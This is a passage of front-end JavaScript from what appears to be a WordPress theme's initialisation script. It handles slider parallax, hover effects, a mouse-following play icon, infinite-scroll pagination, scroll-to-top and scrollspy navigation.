							$slideFirstChildBG.css('margin-left', '0px');
						}
						
						$(this)
							.find('.nectar-recent-post-bg')
							.css('transform', 'translateX(' + Math.ceil($(this).find('.flickity-slider').position().left / -3.5) + 'px)');
						
					});
					
					requestAnimationFrame(recentPostSliderParallax);
					
				}
				
				/**
				* Default recent post slider margin calculations.
				*
				* @since 7.0
				*/
				function recentPostSliderParallaxMargins() {
					
					$('.nectar-recent-posts-slider').each(function () {
						
						var $slideWidth = $(this).find('.nectar-recent-post-slide').width();
						
						$(this).find('.nectar-recent-post-slide').each(function (i) {
							$(this).find('.nectar-recent-post-bg').css('margin-left', '-' + parseInt(Math.ceil($slideWidth / 3.5) * i) + 'px');
						});
						
					});
					
				}
				
				
				
				/**
				* Initialize all recent post elements.
				*
				* @since 7.0
				*/
				function recentPostsInit() {
					
					// Start flickity based sliders.
					recentPostsFlickityInit();
					
					
					// Classic enhanced specific 
					$('.blog-recent[data-style="classic_enhanced_alt"] .inner-wrap').each(function () {
						$(this).find('.post-featured-img').each(function () {
							var $src = $(this).find('img').attr('src');
							$(this).css('background-image', 'url(' + $src + ')');
						});
					});
					
					$('.blog-recent[data-style="classic_enhanced"]').each(function () {
						if ($(this).find('.inner-wrap.has-post-thumbnail').length == 0) {
							$(this).addClass('no-thumbs');
						}
					});
					
					// Regular recent posts slider.
					if (!nectarDOMInfo.usingMobileBrowser) {
						if ($('.nectar-recent-posts-slider').length > 0 && !nectarDOMInfo.usingFrontEndEditor) {
							window.requestAnimationFrame(recentPostSliderParallax);
						}
					}
					
					if (!nectarDOMInfo.usingMobileBrowser && !nectarDOMInfo.usingFrontEndEditor) {
						recentPostSliderParallaxMargins();
					}
					
				}
				
				

				
				/**
				* Parallax on mousemove effect
				*
				* @since 10.5
				*/
				function parallaxItemHoverEffect() {
					
					//change sizer pos
					$('.style-5').each(function () {
						$(this)
							.find('.sizer')
							.insertBefore($(this).find('.parallaxImg'));
					});
					
					// Set parent zindex
					$('.style-5')
						.parents('.wpb_row')
						.css('z-index', '100');
					
					var d         = document,
					bd            = d.getElementsByTagName('body')[0],
					win           = window,
					imgs          = d.querySelectorAll('.parallaxImg'),
					totalImgs     = imgs.length,
					supportsTouch = 'ontouchstart' in win || navigator.msMaxTouchPoints;
					
					if (totalImgs <= 0) {
						return;
					}
					
					// Build HTML
					for (var l = 0; l < totalImgs; l++) {
						
						var thisImg = imgs[l],
						layerElems = thisImg.querySelectorAll('.parallaxImg-layer'),
						totalLayerElems = layerElems.length;
						
						if (totalLayerElems <= 0) {
							continue;
						}
						
						while (thisImg.firstChild) {
							thisImg.removeChild(thisImg.firstChild);
						}
						
						var lastMove = 0;
						
						//throttle performance for all browser other than chrome
						var eventThrottle = $('html').hasClass('cssreflections') ? 1 : 80;
						if (eventThrottle == 80) {
							$body.addClass('cssreflections');
						}
						
						var containerHTML = d.createElement('div'),
						shineHTML = d.createElement('div'),
						shadowHTML = d.createElement('div'),
						layersHTML = d.createElement('div'),
						layers = [];
						
						thisImg.id = 'parallaxImg__' + l;
						containerHTML.className = 'parallaxImg-container';
						shadowHTML.className = 'parallaxImg-shadow';
						layersHTML.className = 'parallaxImg-layers';
						
						for (var i = 0; i < totalLayerElems; i++) {
							
							var layer = d.createElement('div'),
							layerInner = d.createElement('div'),
							imgSrc = layerElems[i].getAttribute('data-img');
							
							$(layer).html($(layerElems[i]).html());
							layer.className = 'parallaxImg-rendered-layer';
							layer.setAttribute('data-layer', i);
							
							if (i == 0 && $(thisImg).parents('.wpb_gallery').length == 0) {
								layerInner.className = 'bg-img';
								layerInner.style.backgroundImage = 'url(' + imgSrc + ')';
								layer.appendChild(layerInner);
							}
							layersHTML.appendChild(layer);
							
							layers.push(layer);
						}
						
						containerHTML.appendChild(layersHTML);
						thisImg.appendChild(containerHTML);
						$(thisImg).wrap('<div class="parallaxImg-wrap" />');
						if (!(navigator.userAgent.indexOf('Safari') != -1 && navigator.userAgent.indexOf('Chrome') == -1)) {
							$(thisImg).parent().append(shadowHTML);
						}
						
						if (supportsTouch && $('body.using-mobile-browser').length > 0) {
							// Stop processing.
						} else {
							(function (_thisImg, _layers, _totalLayers, _shine) {
								$(thisImg).parents('.style-5').on('mousemove', function (e) {
									
									var parentEl = $(this);
									var now = Date.now();
									if (now > lastMove + eventThrottle) {
										lastMove = now;
										window.requestAnimationFrame(function () {
											processMovement(e, false, _thisImg, _layers, _totalLayers, _shine, parentEl);
										});
									}
									
									
								});
								$(thisImg).parents('.style-5').on('mouseenter', function (e) {
									processEnter(e, _thisImg, _layers, _totalLayers, _shine);
								});
								$(thisImg).parents('.style-5').on('mouseleave', function (e) {
									processExit(e, _thisImg, _layers, _totalLayers, _shine);
								});
							})(thisImg, layers, totalLayerElems, shineHTML);
						}
						
						// Set the depths
						(function (_thisImg, _layers, _totalLayers, _shine) {
							depths(false, _thisImg, _layers, _totalLayers, _shine);
							window.addEventListener('resize', function () {
								depths(false, _thisImg, _layers, _totalLayers, _shine);
							});
						})(thisImg, layers, totalLayerElems, shineHTML);
					}
					
					function processMovement(e, touchEnabled, elem, layers, totalLayers, shine, parentEl) {
						
						// Stop raf if exit already called
						if (!$(elem.firstChild).hasClass('over')) {
							processExit(e, elem, layers, totalLayers, shine);
							return false
						}
						
						// Set up multipliers
						var yMult = 0.03;
						var xMult = 0.063;
						
						if ($(elem).parents('.col.wide').length > 0) {
							yMult = 0.03;
							xMult = 0.063;
						} else if ($(elem).parents('.col.regular').length > 0 || $(elem).parents('.wpb_gallery').length > 0) {
							yMult = 0.045;
							xMult = 0.045;
						} else if ($(elem).parents('.col.tall').length > 0) {
							yMult = 0.05;
							xMult = 0.015;
						} else if ($(elem).parents('.col.wide_tall').length > 0) {
							yMult = 0.04;
							xMult = 0.04;
						} else if (parentEl.hasClass('nectar-fancy-box')) {
							yMult = 0.045;
							xMult = 0.022;
						} else {
							yMult = 0.045;
							xMult = 0.075;
						}
						
						var bdst = nectarDOMInfo.scrollTop,
						bdsl = bd.scrollLeft,
						pageX = (touchEnabled) ? e.touches[0].pageX : e.pageX,
						pageY = (touchEnabled) ? e.touches[0].pageY : e.pageY,
						offsets = elem.getBoundingClientRect(),
						w = elem.clientWidth || elem.offsetWidth || elem.scrollWidth, 
						h = elem.clientHeight || elem.offsetHeight || elem.scrollHeight, 
						wMultiple = 320 / w,
						offsetX = 0.52 - (pageX - offsets.left - bdsl) / w, 
						offsetY = 0.52 - (pageY - offsets.top - bdst) / h, 
						dy = (pageY - offsets.top - bdst) - h / 2, 
						dx = (pageX - offsets.left - bdsl) - w / 2, 
						yRotate = (offsetX - dx) * (yMult * wMultiple), 
						xRotate = (dy - offsetY) * (xMult * wMultiple); 
						
						var imgCSS;
						
						if ($(elem).parents('.wpb_gallery').length > 0) {
							imgCSS = ' perspective(' + w * 3 + 'px) rotateX(' + -xRotate * 1.9 + 'deg) rotateY(' + -yRotate * 1.3 + 'deg)'; 
						} else {
							
							if ($(elem).parents('.wide_tall').length == 0 && 
							$(elem).parents('.wide').length == 0 && 
							$(elem).parents('.tall').length == 0) {
								var $scaleAmount = (parentEl.hasClass('nectar-fancy-box')) ? '1.06' : '1.03';
								var $offsetAmount = (parentEl.hasClass('nectar-fancy-box')) ? '-2' : '-10';
								imgCSS = ' perspective(' + w * 3 + 'px) rotateX(' + xRotate + 'deg) rotateY(' + yRotate + 'deg)  translateY(' + offsetY * $offsetAmount + 'px) translateX(' + offsetX * $offsetAmount + 'px) scale(' + $scaleAmount + ')'; 
							} else {
								imgCSS = ' perspective(' + w * 3 + 'px) rotateX(' + xRotate + 'deg) rotateY(' + yRotate + 'deg)  translateY(' + offsetY * -10 + 'px) translateX(' + offsetX * -10 + 'px) scale(1.013)'; 
							}
							
						}
						
						
						// Container transform
						$(elem).find('.parallaxImg-container').css('transform', imgCSS);
						
						if (!(navigator.userAgent.indexOf('Safari') != -1 && navigator.userAgent.indexOf('Chrome') == -1)) {
							$(elem).parents('.parallaxImg-wrap').find('.parallaxImg-shadow').css('transform', imgCSS);
						}
						
						
					}
					
					
					function processEnter(e, elem) {
						
						elem.firstChild.className += ' over';
						elem.className += ' over';
						
						$(elem).addClass('transition');
						
						if ($(elem).parents('.wpb_gallery').length > 0) {
							setTimeout(function () {
								$(elem).removeClass('transition');
							}, 450);
						} else {
							setTimeout(function () {
								$(elem).removeClass('transition');
							}, 200);
						}
						
					}
					
					
					function processExit(e, elem) {
						
						var w = elem.clientWidth || elem.offsetWidth || elem.scrollWidth;
						var container = elem.firstChild;
						
						container.className = container.className.replace(' over', '');
						elem.className = elem.className.replace(' over', '');
						$(container).css('transform', 'perspective(' + w * 3 + 'px) rotateX(0deg) rotateY(0deg) translateZ(0)');
						$(elem).parents('.parallaxImg-wrap').find('.parallaxImg-shadow').css('transform', 'perspective(' + w * 3 + 'px) rotateX(0deg) rotateY(0deg) translateZ(0)');
						
						$(elem).addClass('transition');
						setTimeout(function () {
							$(elem).removeClass('transition');
						}, 200);
						
					}
					
					
					function depths(touchEnabled, elem, layers, totalLayers) {
						
						var w = elem.clientWidth || elem.offsetWidth || elem.scrollWidth;
						var container = elem.firstChild;
						
						// Set z
						for (var ly = 0; ly < totalLayers; ly++) {
							if (ly == 0) {
								$(layers[ly]).css('transform', 'translateZ(0px)');
							}
							else {
								$(layers[ly]).css('transform', 'translateZ(' + (w * 3) / 27 * (ly * 1.1) + 'px) ');
							}
							
						}
						
						totalLayers = totalLayers + 3;
						
						// Set perspective from beginning
						$(container).css('transform', 'perspective(' + w * 3 + 'px)');
						
					}
					
				}
				
				
				/**
				* Fancy Box 
				*
				* @since 11.0
				*/
				function nectarFancyBoxHover() {
					
					if( $('.nectar-fancy-box[data-style="hover_desc"]').length == 0 ) {
						return false;
					}
					
					var $hoverContentHeight = 0;
					
					$('body').on('mouseenter','.nectar-fancy-box[data-style="hover_desc"]', function() {
						$hoverContentHeight = parseInt($(this).find('.hover-content').outerHeight(true));
						$(this).find('.heading-wrap').css('transform','translateY(-'+ $hoverContentHeight +'px)');
					});
					
					$('body').on('mouseleave','.nectar-fancy-box[data-style="hover_desc"]', function() {
						$(this).find('.heading-wrap').css('transform','translateY(0)');
					});
					
				}
				
				
				
				/**
				* Mouse Follow Icon
				*
				* @since 11.0
				*/
				function NectarMouseFollowIcon(el,iconSelector) {
					
					this.$el = el;
					this.$iconEl = this.$el.find(iconSelector);

					this.elX = 0;
					this.elY = 0;
					
					this.initialX = this.$el.width() / 2;
					this.initialY = this.$el.height() / 2;
					
					this.elX = 0;
					this.elY = 0;
					
					this.lastScroll = 0;
					this.scrollAdjust = 0;
					
					this.lastX = this.initialX;
					this.lastY = this.initialY;
					this.activeFollow = false;
					
					this.percentage = 0.13;
					this.percentageTimeout;
					
					$window.on('resize', this.resizeEvent.bind(this));
					this.mouseEvents();
					this.rafLoop();
					
				}
				
				NectarMouseFollowIcon.prototype.resizeEvent = function() {
					this.initialX = this.$el.width() / 2;
					this.initialY = this.$el.height() / 2;
				};
				
				NectarMouseFollowIcon.prototype.mouseEvents = function() {
					
					var that = this;
					
					that.$el.on('mouseenter', function(e) {
						
						that.activeFollow = true;
						
						that.elX = e.offsetX;
						that.elY = e.offsetY;
						
						that.lastScroll = 0;
						
						clearTimeout(that.percentageTimeout);
						that.percentageTimeout = setTimeout(function(){
							that.percentage = 0.2;
						},700); 
					});
					
					that.$el.on('mouseleave', function() {
						
						that.activeFollow = false;
						that.lastScroll = 0;
						
						clearTimeout(that.percentageTimeout);
						that.percentage = 0.13;
					});
					
					that.$el.on('mousemove', function(e){
						that.elX = e.offsetX;
						that.elY = e.offsetY;
						that.lastScroll = 0;
					});
					
					$(window).on('scroll',function() {
						if( that.activeFollow == true && that.lastScroll == 0) {
							that.lastScroll = nectarDOMInfo.scrollTop;
						}
					});
					
				};
				
				
				NectarMouseFollowIcon.prototype.rafLoop = function() {

					if( this.activeFollow == true ) {
						
						this.scrollAdjust = ( this.lastScroll > 0 ) ? nectarDOMInfo.scrollTop - this.lastScroll : 0;

						this.lastY = linearInterpolate(this.lastY, this.elY + this.scrollAdjust, this.percentage);
						this.lastX = linearInterpolate(this.lastX, this.elX, this.percentage);
					} else {
						this.lastY = linearInterpolate(this.lastY, this.initialY, 0.13);
						this.lastX = linearInterpolate(this.lastX, this.initialX, 0.13);
					}

					this.$iconEl.css({
						'transform': 'translateX(' + this.lastX + 'px) translateY(' + this.lastY + 'px)'
					});
		
					requestAnimationFrame(this.rafLoop.bind(this));
					
				};
				
				
				
				
				/**
				* Video Lightbox 
				*
				* @since 11.0
				*/
				function nectarVideoLightbox() {
					
					iconMouseFollowArr = [];
					
					// Parent hover relationship.
					$body.on('mouseenter','.nectar_video_lightbox[data-parent-hover="1"]', function() {
						var $parentRow = $(this).parents('.wpb_row');
						$parentRow.find('> .row-bg-wrap .row-bg, > .nectar-video-wrap .nectar-video-inner').addClass('transition');
						$parentRow.find('> .row-bg-wrap .row-bg, > .nectar-video-wrap .nectar-video-inner').css({
							'transform' : 'scale(1.08)'
						});
					});
					
					$body.on('mouseleave','.nectar_video_lightbox[data-parent-hover="1"]', function() {
						var $parentRow = $(this).parents('.wpb_row');
						$parentRow.find('> .row-bg-wrap .row-bg, > .nectar-video-wrap .nectar-video-inner').css({
							'transform' : 'scale(1)'
						});
					});
					
					// Mouse Indicator.
					$('.nectar-video-box').each(function(i){
						
						if( $(this).find('.play_button_mouse_follow') ) {
							
							var $that = $(this);
							
							$(this).imagesLoaded(function () {
								
								// Follow mouse.
								if( !nectarDOMInfo.usingMobileBrowser ) {
									iconMouseFollowArr[i] = new NectarMouseFollowIcon($that, '.play_button_mouse_follow');
								}
								
								// Initial setup.
								var $playColor = ( $that.is('[data-mouse-icon-color]') && $that.attr('data-mouse-icon-color').length > 0 ) ? $that.attr('data-mouse-icon-color') : '#000';
	
								if( $that.is('[data-mouse-style="solid_color"]') ) {
	
									$that.find('.play_button_mouse_follow').css({
											'background-color': $playColor
									});
								}
								
								$that.find('.play_button_mouse_follow').addClass('visible');
								
							});

						}
						
					});
					
				}
				


				/**
				* Salient slider rotation 
				*
				* @since 10.5
				*/
				function nectarCustomSliderRotate(slider) {
					
					if ($('body.vc_editor').length > 0) {
						return;
					}
					
					var $controlSelector = (slider.find('.project-slides').length > 0) ? '.dot-nav > span' : '.controls > li',
					$controlSelectorInd  = (slider.find('.project-slides').length > 0) ? 'span' : ' li',
					$slideLength         = slider.find($controlSelector).length,
					$currentSlide        = slider.find($controlSelector + '.active').index();
					
					if ($currentSlide + 1 == $slideLength) {
						slider.find($controlSelector + ':first-child').trigger('click');
					} else {
						slider.find($controlSelector + '.active').next($controlSelectorInd).trigger('click');
					}
				}
				
				
				/**
				* Salient slider rotation reset
				*
				* @since 10.5
				*/
				function nectarCustomSliderResetRotate(slider, index) {
					clearInterval($nectarCustomSliderRotate[index].autorotate);
					
					// Reinit autorotate
					if (slider.attr('data-autorotate').length > 0) {
						var slide_interval = (parseInt(slider.attr('data-autorotate')) < 100) ? 4000 : parseInt(slider.attr('data-autorotate'));
						$nectarCustomSliderRotate[index].autorotate = setInterval(function () {
							nectarCustomSliderRotate(slider)
						}, slide_interval);
					}
				}
				
				
				
				/**
				* Fullscreen recent project slider
				*
				* @since 10.5
				*/
				function fsProjectSliderInit() {
					
					$fsProjectSliderArr = [];
					
					if (typeof SalientRecentProjectsFullScreen === 'undefined') {
						return;
					}
					
					$('.nectar_fullscreen_zoom_recent_projects').each(function (i) {
						$fsProjectSliderArr[i] = new SalientRecentProjectsFullScreen($(this));
					});
					
				}
				
				

				
				
				/**
				* Portfolio single template sticky sidebar
				*
				* @since 6.0
				*/
				function portfolioSidebarFollow() {
					
					var sidebarFollow = $('.single-portfolio #sidebar').attr('data-follow-on-scroll');
					
					if ($('body.single-portfolio').length == 0 || $('#sidebar[data-follow-on-scroll]').length == 0) {
						return;
					}
					
					sidebarFollow = $('.single-portfolio #sidebar').attr('data-follow-on-scroll');
					
					if (sidebarFollow == 1 && 
						!$body.hasClass('mobile') && 
						parseInt($('#sidebar').height()) + 50 <= parseInt($('.post-area').height())) {
						
						//padding from top of screen
						var $ssExtraTopSpace = 50;
						
						if ($('#header-outer[data-remove-fixed="0"]').length > 0 && 
						$('body[data-hhun="1"]').length == 0) {
							
							$ssExtraTopSpace += $headerOuterEl.outerHeight();
							
							// Resize effect
							if ($('#header-outer[data-shrink-num][data-header-resize="1"]').length > 0) {
								var headerPadding2 = parseInt($headerOuterEl.attr('data-padding')) - parseInt($headerOuterEl.attr('data-padding')) / 1.8;
								$ssExtraTopSpace -= logoShrinkNum;
								$ssExtraTopSpace -= headerPadding2;
							}
							
							// Condense
							if ($('body.mobile').length == 0 && $('#header-outer[data-condense="true"]').length > 0) {
								
								var $headerSpan9 = $('#header-outer[data-format="centered-menu-bottom-bar"] header#top .span_9');
								
								$ssExtraTopSpace = 50;
								$ssExtraTopSpace += $headerOuterEl.height() - (parseInt($headerSpan9.position().top) - parseInt($('#header-outer #logo').css('margin-top'))) - parseInt(nectarDOMInfo.secondaryHeaderHeight);
							}

						}
						
						if ($wpAdminBar.length > 0) {
							$ssExtraTopSpace += $wpAdminBar.outerHeight();
						}
						

						$('.single-portfolio #sidebar').theiaStickySidebar({
							additionalMarginTop: $ssExtraTopSpace,
							updateSidebarHeight: false
						});
						
						
					} 
					
				} 
				
				
				

				
				/**
				* Infinite scroll pagination
				*
				* @since 6.0
				*/
				function infiniteScrollInit() {
					
					if ($('.infinite_scroll').length > 0) {
						
						// Portfolio
						$('.portfolio-items.infinite_scroll').infinitescroll({
							navSelector: "div#pagination",
							nextSelector: "div#pagination a:first",
							itemSelector: ".portfolio-items.infinite_scroll .element",
							finishedMsg: "<em>Congratulations, you've reached the end of the internet.</em>",
							msgText: " ",
						}, function (newElements) {
							
							
							var $container 	= $('.portfolio-items.infinite_scroll:not(.carousel)'),
							$newElems 			= $(newElements).css('opacity', 0);
							
							// Ensure that images load before adding to masonry layout
							$newElems.imagesLoaded(function () {
								
								$(newElements).css('opacity', 1);
								
								$container.isotope('appended', $(newElements));
								
								$(newElements).find('.work-item').addClass('ajax-loaded');
								$(newElements).addClass('ajax-loaded');
								
								// Show elems now they're ready
								$(newElements).find('.work-meta, .nectar-love-wrap').css({
									'opacity': 1
								});
								
								// Keep current filtering
								if ($('.portfolio-filters-inline').length > 0 || $('.portfolio-filters').length > 0) {
									
									var selector;
									
									if ($('.portfolio-filters-inline').length > 0) {
										selector = $('.portfolio-filters-inline a.active').attr('data-filter');
									} else {
										selector = $('.portfolio-filters a.active').attr('data-filter');
									}
									
									$('.portfolio-filters-inline a.active').attr('data-filter');
									$container.isotope({
										filter: selector
									});
								}
								
								// Set width
								for (var i = 0; i < $portfolio_containers.length; i++) {
									$portfolio_containers[i].reLayout();
								}
								
								if ($(newElements).find('.work-item.style-5').length > 0) {
									parallaxItemHoverEffect();
								}
								
								if ($(newElements).find('.inner-wrap').attr('data-animation') == 'none') {
									$('.portfolio-items .col .inner-wrap').removeClass('animated');
								} else {
									
									for (var i = 0; i < $portfolio_containers.length; i++) {
										$portfolio_containers[i].masonryZindex();
										$portfolio_containers[i].portfolioAccentColor();
									}
									
									$(newElements).each(function () {
										
										var $portfolioOffsetPos = ($('#nectar_fullscreen_rows').length > 0) ? '200%' : '90%';
										
										// Not already visible
										var $that = $(this);
										var waypoint = new Waypoint({
											element: $that,
											handler: function () {
												
												var $portfolioAnimationDelay = ($that.is('[data-masonry-type="photography"].masonry-items')) ? 85 : 115;
												
												setTimeout(function () {
													$that.addClass("animated-in");
												}, $portfolioAnimationDelay * $that.attr('data-delay-amount'));
												
												
												waypoint.destroy();
											},
											offset: $portfolioOffsetPos
											
										}); 
										
										
									}); 
								}
								
								
								// Lightbox reinit.
								$('.portfolio-items').each(function () {
									var $unique_id = uniqueIdGenerate();
									$(this).find('a[rel^="prettyPhoto"], a.pretty_photo').attr('rel', 'prettyPhoto[' + $unique_id + '_gal]').removeClass('pretty_photo');
								});
								
			
								$('.portfolio-items').each(function () {
									var $unique_id = uniqueIdGenerate();
									$(this).find('a[data-fancybox^="group_"]').attr('data-fancybox', 'group_' + $unique_id);
								});
								
								lightBoxInit();
								
								setTimeout(function () {
									
									for (var i = 0; i < $portfolio_containers.length; i++) {
										$portfolio_containers[i].masonryZindex();
										$portfolio_containers[i].reLayout();
										$portfolio_containers[i].isotopeCatSelection();
									}
									$(newElements).removeClass('ajax-loaded');
								}, 700);
								
								parallaxRowsBGCals();
								
							});
							
							
						});
						
						// Blog
						$('.post-area.infinite_scroll .posts-container').infinitescroll({
							navSelector: "div#pagination",
							nextSelector: "div#pagination a:first",
							itemSelector: ".post-area .posts-container .post",
							finishedMsg: "<em>Congratulations, you've reached the end of the internet.</em>",
							msgText: " "
						}, function (newElements) {
							
							// Only trigger recalc of waypoints and elements if needed
							if ($('.masonry.classic').length > 0 || $('.post-area:not(.masonry):not(.featured_img_left)').length > 0 || $('.post-area.standard-minimal').length > 0) {
								
								// Gallery
								flexsliderInit();
								
								
								// Media players
								if ($().mediaelementplayer) {
									$(newElements).find('.wp-audio-shortcode, .wp-video-shortcode').mediaelementplayer();
								}
								
								
								// Lightbox
								lightBoxInit();
								
								// Carousels
								if ($('.carousel').length > 0) {
									standardCarouselInit();
									clientsCarouselInit();
								}
								
								// Waypoints
								waypoints();
								
								// Testimonial slider
								$('.testimonial_slider').animate({
									'opacity': '1'
								}, 800);
								nectarTestimonialSliders();
								nectarTestimonialSlidersEvents();

								setTimeout(function () {
									responsiveVideoIframesInit();
									responsiveVideoIframes();
									$window.trigger('resize');
								}, 500);
								
								
								parallaxRowsBGCals();
								
								$window.trigger('resize');
								
							} // Non meta overlaid style 
							else {
								parallaxRowsBGCals();
								
								$window.trigger('resize');
							}
							
							// Trigger Masonry as a callback
							var $container = $('.posts-container');
							if ($container.parent().hasClass('masonry')) {
								
								$(newElements).addClass('masonry-blog-item');
								
							
							} //if masonry
							
							
							// Loading effect   
							
							//// hide new items while they are loading
							var $newElems = $(newElements);
							//// ensure that images load before adding to masonry layout
							
							if ($newElems.find('img').length == 0) {
								$newElems = $('body');
							}
							
							$newElems.imagesLoaded(function () {
								
								if ($container.parent().hasClass('masonry') && 
									!$container.parent().hasClass('auto_meta_overlaid_spaced')) {
									$container.isotope('appended', $(newElements));
								}
								
								for (var i = 0; i < $nectarMasonryBlogs.length; i++) {
									$nectarMasonryBlogs[i].flickityBlogInit();
								}
								
								$(newElements).addClass('ajax-loaded');
								// Show elems now they're ready
								
								
								// Classic enhanced specific 
								if ($container.parent().hasClass('classic_enhanced')) {
									$container.find('.large_featured.has-post-thumbnail.ajax-loaded .post-featured-img, .wide_tall.has-post-thumbnail.ajax-loaded .post-featured-img').each(function () {
										var $src = $(this).find('img').attr('src');
										$(this).css('background-image', 'url(' + $src + ')');
									});
									
									$container.find('.large_featured.ajax-loaded .nectar-flickity, .wide_tall.ajax-loaded .nectar-flickity').each(function () {
										
										$(this).find('.cell').each(function () {
											var $src = $(this).find('img').attr('src');
											$(this).css('background-image', 'url(' + $src + ')');
										});
										
									});
								}
								
								
								if ($(newElements).parents('.posts-container').attr('data-animation') == 'none') {
									$(newElements).find('.inner-wrap').removeClass('animated');
								} else {
									
									for (var i = 0; i < $nectarMasonryBlogs.length; i++) {
										$nectarMasonryBlogs[i].blogMasonryZindex();
									}
									
									$(newElements).each(function () {
										
										var $that = $(this);
										var waypoint = new Waypoint({
											
											element: $that,
											handler: function () {
												
												setTimeout(function () {
													$that.addClass("animated-in");
												}, 80 * $that.attr('data-delay-amount'));
												
												waypoint.destroy();
											},
											offset: '90%'
											
										});
										
										
									}); 
								}
								
								setTimeout(function () {
									$(newElements).removeClass('ajax-loaded');
								}, 700);
								
								
							});
							

						});
						
					}
					
				}
				
				
				
				
				

				/**
				* Scroll to top scroll bind.
				*
				* @since 2.0
				*/
				function toTopBind() {
					
					if ($('#to-top').length > 0 && $window.width() > 1020 || 
					$('#to-top').length > 0 && $('#to-top.mobile-enabled').length > 0) {
						
						if (nectarDOMInfo.scrollTop > 350) {
							$window.on('scroll', hideToTop);
						} else {
							$window.on('scroll', showToTop);
						}
					}
					
				}

				/**
				* Scroll to top show.
				*
				* @since 2.0
				*/
				function showToTop() {
					
					if (nectarDOMInfo.scrollTop > 350 && !$offCanvasEl.is('.fullscreen.open') ) {
						
						$('#to-top').stop().transition({
							'bottom': '17px'
						}, 350, 'easeInOutCubic');
						
						$window.off('scroll', showToTop);
						$window.on('scroll', hideToTop);
					}
					
				}
				
				
				/**
				* Scroll to top hide.
				*
				* @since 2.0
				*/
				function hideToTop() {
					
					if (nectarDOMInfo.scrollTop < 350 || $offCanvasEl.is('.fullscreen.open') ) {
						
						var $animationTiming = ($('#slide-out-widget-area.fullscreen.open').length > 0) ? 1150 : 350;
						
						$('#to-top').stop().transition({
							'bottom': '-30px'
						}, $animationTiming, 'easeInOutQuint');
						
						$window.off('scroll', hideToTop);
						$window.on('scroll', showToTop);
						
					}
				}
				
				
				/**
				* Scroll to top initialization.
				*
				* @since 10.5
				*/
				function scrollToTopInit() {

					// Show/hide based on scroll pos
					if ($('.nectar-social.fixed').length == 0) {
						toTopBind();
					} 
					
					
					// Rounded style
					if ($('body[data-button-style*="rounded"]').length > 0) {
						var $clone = $('#to-top .fa-angle-up').clone();
						$clone.addClass('top-icon');
						$('#to-top').prepend($clone);
					}
					
					// Scroll up click event
					$body.on('click', '#to-top, a[href="#top"]', function () {
						$('body,html').stop().animate({
							scrollTop: 0
						}, 800, 'easeOutQuad', function () {
							if ($('.nectar-box-roll').length > 0) {
								$body.trigger('mousewheel', [1, 0, 0]);
							}
						});
						return false;
					});
					
				}
				
				
				
				
				
				
				
				
				
				/**
				* Scrollspy plugin initialization.
				*
				* @since 5.0
				*/
				function scrollSpyInit() {
					
					var $headerNavSpace = ($('body[data-header-format="left-header"]').length > 0 && $window.width() > 1000) ? 0 : $headerOuterEl.outerHeight();
					
					if ($('.page-template-template-no-header-footer').length > 0 || $('.page-template-template-no-header').length > 0) {
						$headerNavSpace = 0;
					}
					
					//prevent jump to rop on empty items
					$('header#top .sf-menu li a[href="#"]').on('click', function (e) {
						e.preventDefault();
					});
					
					if ($('#nectar_fullscreen_rows').length == 0 || $nectarFullPage.$usingFullScreenRows == false) {
						
						$('a.nectar-next-section').each(function () {
							
							if ($(this).parents('.wpb_row:not(.inner_row)').length > 0) {
								
								var $parentRow = $(this).parents('.wpb_row:not(.inner_row)'),
								$parentRowIndex = $(this).parents('.wpb_row:not(.inner_row)').index();
								
								if ($parentRow.parent().find('> .wpb_row[id]:eq(' + ($parentRowIndex + 1) + ')').length > 0) {
									var $nextRowID = $parentRow.parent().find('> .wpb_row:eq(' + ($parentRowIndex + 1) + ')').attr('id');
									$(this).attr('href', '#' + $nextRowID);
								}
								
							}
							
						});
					} 
					
					else if ($().fullpage) {
						$('a.nectar-next-section').on('click', function () {
							$.fn.fullpage.moveSectionDown();
							return false;
						});
					}
					
					
					// Links in off canvas menu.
					if ($('#slide-out-widget-area .off-canvas-menu-container').length > 0) {
						$('#slide-out-widget-area .off-canvas-menu-container').find("a[href*='" + location.pathname + "']").each(function () {
							
							var $href = $(this).attr('href');
							
							// Regular animated anchors.
							if ($href != '#' && $href.indexOf("#") != -1 && $('div' + $href.substr($href.indexOf("#"))).length > 0) {
								$(this).attr('href', $href.substr($href.indexOf("#")));
								
								$(this).parent()
									.removeClass('current_page_item')
									.removeClass('current-menu-item');
							}
							
							// Fullpage is a little different.
							if ($('div[data-fullscreen-anchor-id="' + $href.substr($href.indexOf("#") + 1) + '"]').length > 0) {
								
								$(this).parent()
									.removeClass('current_page_item')
									.removeClass('current-menu-item');
							}
							
						});
					}
					
					// Links in header navigation.
					$("#header-outer").find("a[href*='" + location.pathname + "']").each(function () {
						
						var $href = $(this).attr('href');
						
						// Regular animated anchors
						if ($href.indexOf("#") != -1 && $('div' + $href.substr($href.indexOf("#"))).length > 0) {
							
							$(this).attr('href', $href.substr($href.indexOf("#")));
							$(this).parent()
								.removeClass('current_page_item')
								.removeClass('current-menu-item');
						}
						
						// Fullpage is a little different
						if ($('div[data-fullscreen-anchor-id="' + $href.substr($href.indexOf("#") + 1) + '"]').length > 0) {
							
							$(this).parent()
								.removeClass('current_page_item')
								.removeClass('current-menu-item');
						}
						
					});
					
					// Start scrollspy.
					var $target = ($('.page-submenu[data-sticky="true"]').length == 0) ? '#header-outer nav' : '.page-submenu';
					$body.scrollspy({
						target: $target,
						offset: $headerNavSpace + nectarDOMInfo.adminBarHeight + 40
					});
					
				}
				
				
				
				
				/**
				* Called to scroll to hash link on page load
				*
				* @since 5.0
				*/
				function pageLoadHash() {
					
					var $hash = window.location.hash;

					if( $hash && $hash.length > 0 ) {
						$hash = $hash.replace(/<|>/g,'');
					}

					var $hashSubstrng   = ($hash && $hash.length > 0) ? $hash.substring(1, $hash.length) : 0,
					headerPadding2      = parseInt($headerOuterEl.attr('data-padding')) * 2,
					$hasSlashLength     = 0;
					
					// If the hash has slashes 
					if ($hashSubstrng) {
						$hasSlashLength = $hashSubstrng.split("/");
						$hasSlashLength = $hasSlashLength.length;
					}
					
					if ($hashSubstrng && $hasSlashLength > 1) {
						$hashSubstrng = $hashSubstrng.replace(/\//g, "");
						$hash         = $hash.replace(/\//g, "");
					}
					
					if ($hash && $('.main-content').find($hash).length > 0 || 
					$hash && $('.main-content').find('[data-fullscreen-anchor-id="' + $hashSubstrng + '"]').length > 0) {
						
						var $hashObj    = ($('.main-content').find($hash).length > 0) ? $('.main-content').find($hash) : $('.main-content').find('[data-fullscreen-anchor-id="' + $hashSubstrng + '"]'),
